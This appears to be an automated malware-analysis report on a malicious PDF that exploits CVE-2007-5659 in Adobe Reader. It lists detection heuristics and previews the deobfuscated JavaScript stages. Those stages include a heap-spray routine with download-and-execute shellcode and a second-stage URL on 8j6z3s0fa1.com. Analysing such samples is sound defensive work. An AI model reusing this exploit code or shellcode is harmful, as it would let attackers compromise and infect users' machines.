Malicious PDF — malware analysis report

Static analysis result for SHA-256 181295f7b445812a…

MALICIOUS

PDF

17.4 KB
MD5: d2fe79366a3d3f2bcefa039c8e63c654 SHA-1: 06d2e552226118eb221bce1905a429aecde037e3 SHA-256: 181295f7b445812a6a32e7dad3745e5ff47681851e15f73b77accdb0e42964e5
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF document contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed as a multi-stage dropper, first decoding a payload from an annotation subject and then executing it. This payload is responsible for downloading a second-stage file from the URL http://8j6z3s0fa1.com/news/data.html/n002106203r0409R3cd06758X4e5bee3eY33fb289eZ0100f060, which is likely the final malicious executable.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://8j6z3s0fa1.com/news/data.html/n002106203r0409R3cd06758X4e5bee3eY33fb289eZ0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x42F8 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
95269861489e1fd50c3dcf1d7b31a0345165911634cd30723e920f7667786d31		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1B01 5413 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var V77_2ErYA5___me = new Array();var Vyvn2h4b_1b_83K = 0;var ciC35D7 = "";function s3b_kg_KO6n3(w2_0W8O, wC_hXc){var h43c_f = wC_hXc.toString();var kU41PH0_Du0r = "";for(var t4X__14__X = 0; t4X__14__X < h43c_f.length; t4X__14__X++) {var Gn__G_Qb01_nrb = parseInt(h43c_f.substr(t4X__14__X, 1));if (!isNaN(Gn__G_Qb01_nrb)) {Gn__G_Qb01_nrb = Gn__G_Qb01_nrb.toString(16);if (Gn__G_Qb01_nrb.length == 1) { Gn__G_Qb01_nrb = "0" + Gn__G_Qb01_nrb; }else if (Gn__G_Qb01_nrb.length != 2) { Gn__G_Qb01_nrb = "00"; }kU41PH0_Du0r = Gn__G_Qb01_nrb + kU41PH0_Du0r;if (kU41PH0_Du0r.length == 8) {break;}}}while(kU41PH0_Du0r.length < 8) { kU41PH0_Du0r = "0" + kU41PH0_Du0r; }var foOy_35eC = w2_0W8O.toString(16);if (foOy_35eC.length == 1) { foOy_35eC = "0" + foOy_35eC; }else if (foOy_35eC.length != 2) { foOy_35eC = "00"; }kU41PH0_Du0r = "3" + foOy_35eC + "P" + kU41PH0_Du0r;return kU41PH0_Du0r;}function c2__WFI__7(RW_D4__vi3Qtn5, d5__3__7_n4e__3){var l_5v_6_TY__R = new Array("");var O7___UBb_Vn6ds = RW_D4__vi3Qtn5;var t886o7073Bq1RU;if ((t886o7073Bq1RU = RW_D4__vi3Qtn5.lastIndexOf("%u00")) != -1) {if (t886o7073Bq1RU + 6 == RW_D4__vi3Qtn5.length) {l_5v_6_TY__R[0] = RW_D4__vi3Qtn5.substr(t886o7073Bq1RU + 4, 2);O7___UBb_Vn6ds = RW_D4__vi3Qtn5.substring(0, t886o7073Bq1RU);}}t886o7073Bq1RU = 1;for (t4X__14__X = 0; t4X__14__X < d5__3__7_n4e__3.length; t4X__14__X++) {var Q8_5bY0e = d5__3__7_n4e__3.charCodeAt(t4X__14__X).toString(16);if (Q8_5bY0e.length == 1) { Q8_5bY0e = "0" + Q8_5bY0e; }l_5v_6_TY__R[t886o7073Bq1RU] = Q8_5bY0e;t886o7073Bq1RU++;}t4X__14__X = l_5v_6_TY__R[0].length ? 0 : 1;l_5v_6_TY__R[t886o7073Bq1RU] = "00";l_5v_6_TY__R[t886o7073Bq1RU + 1] = "00";t886o7073Bq1RU += 2;if ((l_5v_6_TY__R.length - t4X__14__X) % 2) {l_5v_6_TY__R[t886o7073Bq1RU] = "00";}while(t4X__14__X < l_5v_6_TY__R.length) {O7___UBb_Vn6ds += "%u" + l_5v_6_TY__R[t4X__14__X + 1] + l_5v_6_TY__R[t4X__14__X];t4X__14__X += 2;}O7___UBb_Vn6ds += "%u0000";return O7___UBb_Vn6ds;}function i_R7X8_AMw__4(r_1__paB5kmnf, Ja_n_70){while (r_1__paB5kmnf.length*2<Ja_n_70) {r_1__paB5kmnf += r_1__paB5kmnf;}r_1__paB5kmnf = r_1__paB5kmnf.substring(0,Ja_n_70/2);return r_1__paB5kmnf;}function UxSS35Fi(h_Vo7Qw78nD8_J, HSQ_6_aC5wmdh, UF7aY_E07iH){var Gl1__j = 0x0c0c0c0c;var r_1__paB5kmnf = unescape(HSQ_6_aC5wmdh);var d5__3__7_n4e__3 = s3b_kg_KO6n3(h_Vo7Qw78nD8_J, UF7aY_E07iH);var qSUv3E = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var RW_D4__vi3Qtn5 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6a70%u7163%u0051%u7468%u7074%u2f3a%u382f%u366a%u337a%u3073%u6166%u2e31%u6f63%u2f6d%u656e%u7377%u642f%u7461%u2e61%u7468%u6c6d%u6e2f%u3030%u3132%u3630%u3032%u7233%u3430%u3930%u3352%u6463%u3630%u3537%u5838%u6534%u6235%u6565%u6533%u3359%u6633%u3262%u3938%u5a65%u3130%u3030%u3066%u3036";app.M6c_Dce_SA6AdQ = unescape(c2__WFI__7(RW_D4__vi3Qtn5, d5__3__7_n4e__3));var b_B_hrr8 = 0x400000;var PqRc1__PDb___g = qSUv3E.length * 2;var Ja_n_70 = b_B_hrr8 - (PqRc1__PDb___g+0x38);r_1__paB5kmnf = i_R7X8_AMw__4(r_1__paB5kmnf, Ja_n_70);var A__5giA = (Gl1__j - 0x400000)/b_B_hrr8;for (var v4H6Q_5_1lFFQ_t = 0; v4H6Q_5_1lFFQ_t < A__5giA
... (truncated)
legacy_pdfkit_stage_000.js
43b350f3c8a4f8e3d82f348723ac8b82b1a393be9b2444fa115bedcc61b69ed5		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1B55 12358 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function Y11wU8(RH__fBe4C25q, M__7_5_Px4){var GM__2__B2H_Wh = 21;var EH_i2X1BY = this;var w1MQ_03_b = 0;var GjUw___tqbFS_Ul = 512;var Nwp__8deO = GM__2__B2H_Wh;var laS3_4__w20E_t = "";var Xw1Qce27 = 6;try {var C5165E_3M_b = 0;if (app) {Nwp__8deO = Nwp__8deO + 2;M__7_5_Px4 = pr[C5165E_3M_b].subject;}} catch(e) { }Nwp__8deO = Nwp__8deO - GM__2__B2H_Wh;var wAl2rIg3oN_p = new Array();if (RH__fBe4C25q) { wAl2rIg3oN_p = RH__fBe4C25q;} else {wAl2rIg3oN_p = new Array(157,63,9,78,42,83);var asdf = 0;}var aP__SA = 0;var aN__DIDgv_h3 = 0;var R_VnrB0__7 = -1;var Pm4AOeFty = 0;var H2P81oq = 0;while(Pm4AOeFty < M__7_5_Px4.length) {var Ln_7___M43b54 = M__7_5_Px4.substr(Pm4AOeFty, 1) + ' V' + ' ' + "V ";Pm4AOeFty = Pm4AOeFty + 1;var hg_UM10_Y = parseInt(Ln_7___M43b54, GM__2__B2H_Wh);if (R_VnrB0__7 != -1) {aN__DIDgv_h3 += hg_UM10_Y;if (aP__SA == Xw1Qce27) {aP__SA = 0;}var B7A__8xOs_A = aN__DIDgv_h3;var Q_ArII5r__3 = Math.floor;B7A__8xOs_A = B7A__8xOs_A - wAl2rIg3oN_p[aP__SA] * (H2P81oq + 2);if (B7A__8xOs_A <= 0) {B7A__8xOs_A = B7A__8xOs_A - Q_ArII5r__3(B7A__8xOs_A / 256) * 256;}B7A__8xOs_A = String.fromCharCode(B7A__8xOs_A);if (Nwp__8deO == 1) {laS3_4__w20E_t += hg_UM10_Y;} else if (Nwp__8deO == 2) {laS3_4__w20E_t += B7A__8xOs_A;} else {laS3_4__w20E_t += Pm4AOeFty;R_VnrB0__7 = -2;}R_VnrB0__7 = -1;aP__SA = aP__SA + 1;H2P81oq = H2P81oq + 1;} else if (R_VnrB0__7 == -1) {R_VnrB0__7 = GM__2__B2H_Wh;aN__DIDgv_h3 = hg_UM10_Y * GM__2__B2H_Wh;}}var SGB5__H__e = this;SGB5__H__e['ev'+'al'](laS3_4__w20E_t);}
	Y11wU8(0, "8819737j3j5j1a736e7c516ia5akb86f3k73813c031d4a6250982j394a55143847aj4a4c938h91bg464b245ia08c300k0cb50c451ibe721i2g2b3f1j5f7e7g2d12b5b23085950d9e6674b0aa320b5a4f3c8h2c8727795h5k25b19e247a1j247j33a28e1gb58k001hak8i2577a38h399kab977722754e135605808j5j9f517d2ca33a0g5e6j4j2i23bg673f1753bi9b22987g72a68k4c6fa9786cae12364h102k06bi9k8jbh049e2789692a22b6250g035dagb00e9i2ja590aa946b7gac547d072441344h858h07a459bj8c74911g650ha19i28a5b4b9a59i151baa9d7d7i92911e4a9a7b4i043k1i6684288c9jbb7k6j9c22a905855e395f1kb19d50akc21b918d52b07d616i970j6cb27c458334c27f12228j34b99k3da0791b6d40339k7c0b06905c564haeba5k7733450081ad0h2i489j3j5136096h9fbd8d3ebe77ad7f1j5i6c7g7j48a6b067657fc21eb8586g8d846f27064f7g43375814506ba46k92c0685i643g058d665k5296294a2j29a70a52571j127i8f742j3c31491g7bah4b32227ca0bb4d299i21335h2bbd2c4e2f3f569c0b147i4d2dbj966984073cbk6k01a0b0087ec22h0881048gb3bb5k76308c6e2j67673b9a2g95825e2j8bbi4iae2d2g4548954g01255932376g7jc15jc2af975f2a5b843h0c68ai1d1k650016ae558i1f591g16227k80799db22c4g34a06gbab2995ia44gb4a99i26273babc139565824189i1ba767acb4c38j6k98babaaj2gac0ja20ea5a63j0a7ib67874ba4k2kbc7a6b3c9b18bi89ag90bg0b93559343bbb29f7h3fbk1h9db26h295e733j903h778d6f1hbg4j7748bk368b5b3kb73811ab41b20j58a57h0c6485538d88330g3i7d739g23be9g0g197d9k5bc0c23e620e306336bf7h98bg0b92829d7k654d7f605d761aa91c5e6679bb5k17416ia0621c49b398984b785f048b6i1g02947k7i5d5h46ai9055662eb728504i6d1g4g7h4c7a5e9e8b74bh452c5i528k916k480fbh277a4935891i5b7g6k2e6ia94a3g49ahbk11714d2i16b08e1e143caa6d1f009e2a8j045k2c6f26baba1f9872308a726k902067a23b2i18c2549a8452401c3g9f76b945b4305a40799b94537c8ea09g3f1h3j4g7jak4k4b515204250b3i3h93483j9f132557a26abk3g372635b7770g33b7020475c00i5f1k2j17bhbb1hb087183e13b026a9ajb9a46474c075b59b26462d60biad06765e4e2f89ac1993432ab16e9e7h270h76bi1i029d1278b4634e812787762f6b8e1482314h92390b6ea505a93a0742426d1a18b1362h0i5bbka140c278506k8k4554069c54bg3718620e33bi2ebc9hc34906228c2b5f1094293g987eacaf0ec14775787h0f89bj9h5abb05475d0c1j7b86ahb65i3d75996f3h870d9c834i9daab97j921g05bi5d917h927g1h6b9a8d5e0c5g59a04ibg9c923562747f059d1070363g5h0cb46b4516c0508c5b1c79875546684645aj7g1k6g3f0163bgb367b89j002dag5f1b6d765e7i6j1i39a0598a7a13c04cb1607a0f67bga60g45c20k2h08b445788b952i9649734c5h8j9j39694e89935b706a9f20ba406j5b79950k0h2i52131f4ja85160057i71b65a6h900eb0a460312694277h5a5813bh1d675b3f7092740k4f2b4h1d9g0447031249af7j3f179abk0e8h4323614g4d7f4eacbb198j4g4f0fai3eb90e1f966ha4agaf1694303b2ga10479799a3b590i6e4h486d672h8c239cb545248d8k4h29b70h4568a041ak046c32527281186jc27h6i902j5889490a69284k0k70bj0i2a21a00j5ac1b5175i76839e0a221a0cb6b41j01aa63105gaebb67073e38c2021b5j2816ah0518214kak13
... (truncated)
deobfuscated.js
51551d1aaa42634613c0654c3e99739b6fdf409e9eb32dd84cf162a3e18770d3		 deobfuscated-js PDF JavaScript deobfuscation pass 94298 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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